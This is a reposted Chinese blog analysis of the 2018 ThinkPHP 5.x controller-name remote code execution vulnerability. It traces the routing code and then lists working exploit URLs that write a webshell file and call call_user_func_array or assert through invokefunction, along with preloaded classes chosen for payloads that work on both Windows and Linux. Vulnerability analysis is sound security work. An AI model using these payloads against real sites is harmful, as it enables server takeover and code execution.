热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

thinkphp5.x任意代码执行(GetShell)分析

2018-12-10ThinkPHP5系列发布安全更新,该安全更新修复了一处严重漏洞,该漏洞可导致(

0x01: 漏洞简介

2018-12-10 ThinkPHP5系列发布安全更新,该安全更新修复了一处严重漏洞,该漏洞可导致(php/系统)代码执行。

由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。

本文转载自先知社区,原文作者:水泡泡 https://xz.aliyun.com/t/3570

0x02: 影响范围

ThinkPHP 5.x

5.1.x ~ 5.1.31

5.0.x ~ 5.0.23

0x03: 漏洞原理

结合官方公告说的由于对控制器名没有足够的检测,再查看官方git commit信息

thinkphp 5.x任意代码执行(GetShell)分析

拉一个tp下来,用的是tp 5.1.29的版本,windows+phpstudy 一把梭,搭建好环境。

在官方修改的地方加断点(thinkphp\library\think\route\dispatch\Module.php),加载默认的控制器来分析。

http://127.0.0.1/index.php/index/index/index

命中断点

thinkphp 5.x任意代码执行(GetShell)分析

一步步跟进controller的走向,发现在同文件下的 exec函数,实例化控制器

thinkphp 5.x任意代码执行(GetShell)分析

跟进controller方法,thinkphp\library\think\App.php

thinkphp 5.x任意代码执行(GetShell)分析

使用parseModuleAndClass方法来解析,继续跟进

thinkphp 5.x任意代码执行(GetShell)分析

分析一下代码,发现会有一个判断,当控制器名中包含了反斜杠,就会直接返回,继续跟踪。

此处没有包含,所以会进入下面的判断,最后使用parseClass来解析,跟进parseClass函数

thinkphp 5.x任意代码执行(GetShell)分析

发现经过parseName之后index变成了首字母大写,原因是经过了命名风格转换。

thinkphp 5.x任意代码执行(GetShell)分析

最后会将命名空间类名等进行拼接

thinkphp 5.x任意代码执行(GetShell)分析

返回我们带命名空间的完整类名。

thinkphp 5.x任意代码执行(GetShell)分析

跟进,回到了controller方法,此时判断类是否存在,不存在会触发自动加载类。

thinkphp 5.x任意代码执行(GetShell)分析

之后就是实例化类,使用反射来调用类的相应方法了。(偷懒省略掉了,主要是介绍一下分析的主要过程)

大概流程摸清楚了,那么这个漏洞是怎么触发的呢?

在跟踪的时候我们发现,类名都是带有完整的命名空间的,而命名空间恰好就是使用反斜杠来划分,结合那一个判断代码:反斜杠是否存在,直接返回类名的操作。

不难想到是可以调用任意类的方法。

比如这样?

http://127.0.0.1/index.php/index/think\app/index

请求一下,发现报错了。

thinkphp 5.x任意代码执行(GetShell)分析

what the fuck? 我的反斜杠怎么变成了正斜杠了?而且这个控制器怎么获取的是Think?

猜测是浏览器的原因,用bp发包一样如此,那么还有没有其他方法可以获取到呢?

翻了一下tp的配置文件

thinkphp 5.x任意代码执行(GetShell)分析

发现可以使用s来获取参数,那么我们就可以尝试这样请求

http://127.0.0.1/index.php?s=/index/think\app/index

成功实例化了App类,因为没有index 方法所以这里会报错。

thinkphp 5.x任意代码执行(GetShell)分析

但已经验证了整个漏洞的原理。

控制器过滤不严,结合直接返回类名的代码操作,导致可以用命名空间的方式来调用任意类的任意方法。

http://127.0.0.1/index.php?s=/index/namespace\class/method

漏洞点找到了,那么接下来就是找利用点了。

0x04: 漏洞利用

tp 5.1.29 简单找了个写 shell 的方法,看到thinkphp\library\think\template\driver\File.php 文件

thinkphp 5.x任意代码执行(GetShell)分析

有一个完美的写shell方法。

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&cOntent=%3C?php%20phpinfo();?%3E

执行之后会在根目录下写入shell.php ,内容是输出phpinfo();

thinkphp 5.x任意代码执行(GetShell)分析

那么tp 5.0要怎么利用呢??接下来就是踩坑之旅了。

0x05: 无尽的踩坑

把tp 5.1的payload,拉过去打一发,发现报错了,控制器不存在??

thinkphp 5.x任意代码执行(GetShell)分析

猜测是5.0和5.1的文件可能不一样,打开一看,都一样啊,怎么加载不了。

thinkphp 5.x任意代码执行(GetShell)分析

上断点,跟踪。此处省略一万字。

跟踪半天发现类加载器有这么一行代码。位置: thinkphp\library\think\Loader.php 方法 autoload

thinkphp 5.x任意代码执行(GetShell)分析

以及一开始的获取控制器的时候 会判断是否自动转换控制器,将控制器名变成小写。

thinkphp 5.x任意代码执行(GetShell)分析

而这个url_convert配置项默认是true。

thinkphp 5.x任意代码执行(GetShell)分析

而我们的类文件名是大写的。

thinkphp 5.x任意代码执行(GetShell)分析

那么在win下,由于严格区分大小写,所以必然不会加载到相应的类文件。

thinkphp 5.x任意代码执行(GetShell)分析

(图中判断,由于IS_WIN为True,!IS_WIN必为False,逻辑与,一个为False条件就成立。)

虽然最终由于绑定参数的问题导致该方法依然不可以用(这个问题就不展开分析了)

thinkphp 5.x任意代码执行(GetShell)分析

但是这个win环境的问题确实卡了我很久。

也难怪别人的payload都是这样那样的,原来是 linux 的环境,可以加载的类多了不少。

最终也导致5.0的自己没有找到利用的类。

0x05: 兼容多平台的payload

综上,由于Windows的原因,所以有一些payload在windows的主机上是不可以利用的。

那么哪些payload是可以兼容多个平台呢?

由于windows自动加载类加载不到想要的类文件,所以能够下手的就是在框架加载的时候已经加载的类。

5.1是下面这些:

think\Loader 
Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561
think\Error 
think\Container
think\App 
think\Env 
think\Config 
think\Hook 
think\Facade
think\facade\Env
env
think\Db
think\Lang 
think\Request 
think\Log 
think\log\driver\File
think\facade\Route
route
think\Route 
think\route\Rule
think\route\RuleGroup
think\route\Domain
think\route\RuleItem
think\route\RuleName
think\route\Dispatch
think\route\dispatch\Url
think\route\dispatch\Module
think\Middleware
think\COOKIE
think\View
think\view\driver\Think
think\Template
think\template\driver\File
think\Session
think\Debug
think\Cache
think\cache\Driver
think\cache\driver\File

5.0 的有:

think\Route
think\Config
think\Error
think\App
think\Request
think\Hook
think\Env
think\Lang
think\Log
think\Loader

两个版本公有的是:

think\Route 
think\Loader 
think\Error 
think\App 
think\Env 
think\Config 
think\Hook 
think\Lang 
think\Request 
think\Log

本想找出两个版本共有的利用类和方法,但由于类文件大多被重写了,所以没耐住性子一一去找(菜)

所以,payload为上述类的利用方法,是可以兼容windows和linux多个平台的,兼容多个平台有什么用呢?插件批量可以减少误判等,一条payload通用,一把梭多好。比如:

5.1.x php版本>5.5

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert

http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&cOntent=

5.0.x php版本>=5.4

http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

0x06: 总结

至此,算是把整个漏洞分析记录讲完了,和p喵呜聊的时候,他也是被win坑的老惨。

所以珍惜生命,远离windows xd。

还有就是自己太菜了,给各位大佬递头。

参考文章:

https://www.anquanke.com/post/id/167653

https://xz.aliyun.com/t/3570


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 我们


推荐阅读
  • 本文深入解析了HTML框架集(FRAMESET)的使用方法及其应用场景。首先介绍了几个关键概念,如如何通过FRAMESET标签将主视图划分为多个独立的区域,每个区域可以加载不同的HTML文件。此外,还详细探讨了FRAMESET在实际开发中的优缺点,并提供了具体的实例代码,帮助开发者更好地理解和应用这一技术。 ... [详细]
  • 本文首先对信息漏洞的基础知识进行了概述,重点介绍了几种常见的信息泄露途径。具体包括目录遍历、PHPINFO信息泄露以及备份文件的不当下载。其中,备份文件下载涉及网站源代码、`.bak`文件、Vim缓存文件和`DS_Store`文件等。目录遍历漏洞的详细分析为后续深入研究奠定了基础。 ... [详细]
  • Linux CentOS 7 安装PostgreSQL 9.5.17 (源码编译)
    近日需要将PostgreSQL数据库从Windows中迁移到Linux中,LinuxCentOS7安装PostgreSQL9.5.17安装过程特此记录。安装环境&#x ... [详细]
  • 网站访问全流程解析
    本文详细介绍了从用户在浏览器中输入一个域名(如www.yy.com)到页面完全展示的整个过程,包括DNS解析、TCP连接、请求响应等多个步骤。 ... [详细]
  • 微软推出Windows Terminal Preview v0.10
    微软近期发布了Windows Terminal Preview v0.10,用户可以在微软商店或GitHub上获取这一更新。该版本在2月份发布的v0.9基础上,新增了鼠标输入和复制Pane等功能。 ... [详细]
  • 如何在虚拟机中实现Linux与Windows主机之间的文件夹共享
    为了在虚拟机中实现Linux与Windows主机之间的文件夹共享,首先需要确保Linux系统已安装VMware Tools。如果尚未安装,可以通过虚拟机软件提供的“安装VMware Tools”选项进行安装。安装完成后,通过配置共享文件夹设置,即可实现主机与虚拟机之间的文件互传。此外,建议检查虚拟机网络设置,确保网络连接正常,以提高文件传输的稳定性和速度。 ... [详细]
  • 本文将深入解析 Lumen 框架中的中间件机制,并提供实用的应用指南。我们将从官方文档出发,重点解读 5.3 版本中的相关内容,帮助开发者更好地理解和使用中间件功能。通过具体示例,探讨中间件在请求处理流程中的作用及其配置方法。 ... [详细]
  • 优化后的标题:深入探讨网关安全:将微服务升级为OAuth2资源服务器的最佳实践
    本文深入探讨了如何将微服务升级为OAuth2资源服务器,以订单服务为例,详细介绍了在POM文件中添加 `spring-cloud-starter-oauth2` 依赖,并配置Spring Security以实现对微服务的保护。通过这一过程,不仅增强了系统的安全性,还提高了资源访问的可控性和灵活性。文章还讨论了最佳实践,包括如何配置OAuth2客户端和资源服务器,以及如何处理常见的安全问题和错误。 ... [详细]
  • 在 CentOS 7 系统中安装 Scrapy 时遇到了一些挑战。尽管 Scrapy 在 Ubuntu 上安装简便,但在 CentOS 7 上需要额外的配置和步骤。本文总结了常见问题及其解决方案,帮助用户顺利安装并使用 Scrapy 进行网络爬虫开发。 ... [详细]
  • 2018年9月21日,Destoon官方发布了安全更新,修复了一个由用户“索马里的海贼”报告的前端GETShell漏洞。该漏洞存在于20180827版本的某CMS中,攻击者可以通过构造特定的HTTP请求,利用该漏洞在服务器上执行任意代码,从而获得对系统的控制权。此次更新建议所有用户尽快升级至最新版本,以确保系统的安全性。 ... [详细]
  • 2016-2017学年《网络安全实战》第三次作业
    2016-2017学年《网络安全实战》第三次作业总结了教材中关于网络信息收集技术的内容。本章主要探讨了网络踩点、网络扫描和网络查点三个关键步骤。其中,网络踩点旨在通过公开渠道收集目标信息,为后续的安全测试奠定基础,而不涉及实际的入侵行为。 ... [详细]
  • 字节跳动深圳研发中心安全业务团队正在火热招募人才! ... [详细]
  • PHP连接MySQL的三种方法及预处理语句防止SQL注入的技术详解
    PHP连接MySQL的三种方法及预处理语句防止SQL注入的技术详解 ... [详细]
  • 深入解析Wget CVE-2016-4971漏洞的利用方法与安全防范措施
    ### 摘要Wget 是一个广泛使用的命令行工具,用于从 Web 服务器下载文件。CVE-2016-4971 漏洞涉及 Wget 在处理特定 HTTP 响应头时的缺陷,可能导致远程代码执行。本文详细分析了该漏洞的成因、利用方法以及相应的安全防范措施,包括更新 Wget 版本、配置防火墙规则和使用安全的 HTTP 头。通过这些措施,可以有效防止潜在的安全威胁。 ... [详细]
  • MySQL日志分析在应急响应中的应用与优化策略
    在应急响应中,MySQL日志分析对于检测和应对数据库攻击具有重要意义。常见的攻击手段包括弱口令、SQL注入、权限提升和备份数据窃取。通过对MySQL日志的深入分析,不仅可以及时发现潜在的攻击行为,还能详细还原攻击过程并追踪攻击源头。此外,优化日志记录和分析策略,能够提高安全响应效率,增强系统的整体安全性。 ... [详细]
author-avatar
榴莲牛奶
这个家伙不是很懒,但是也没留下什么!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有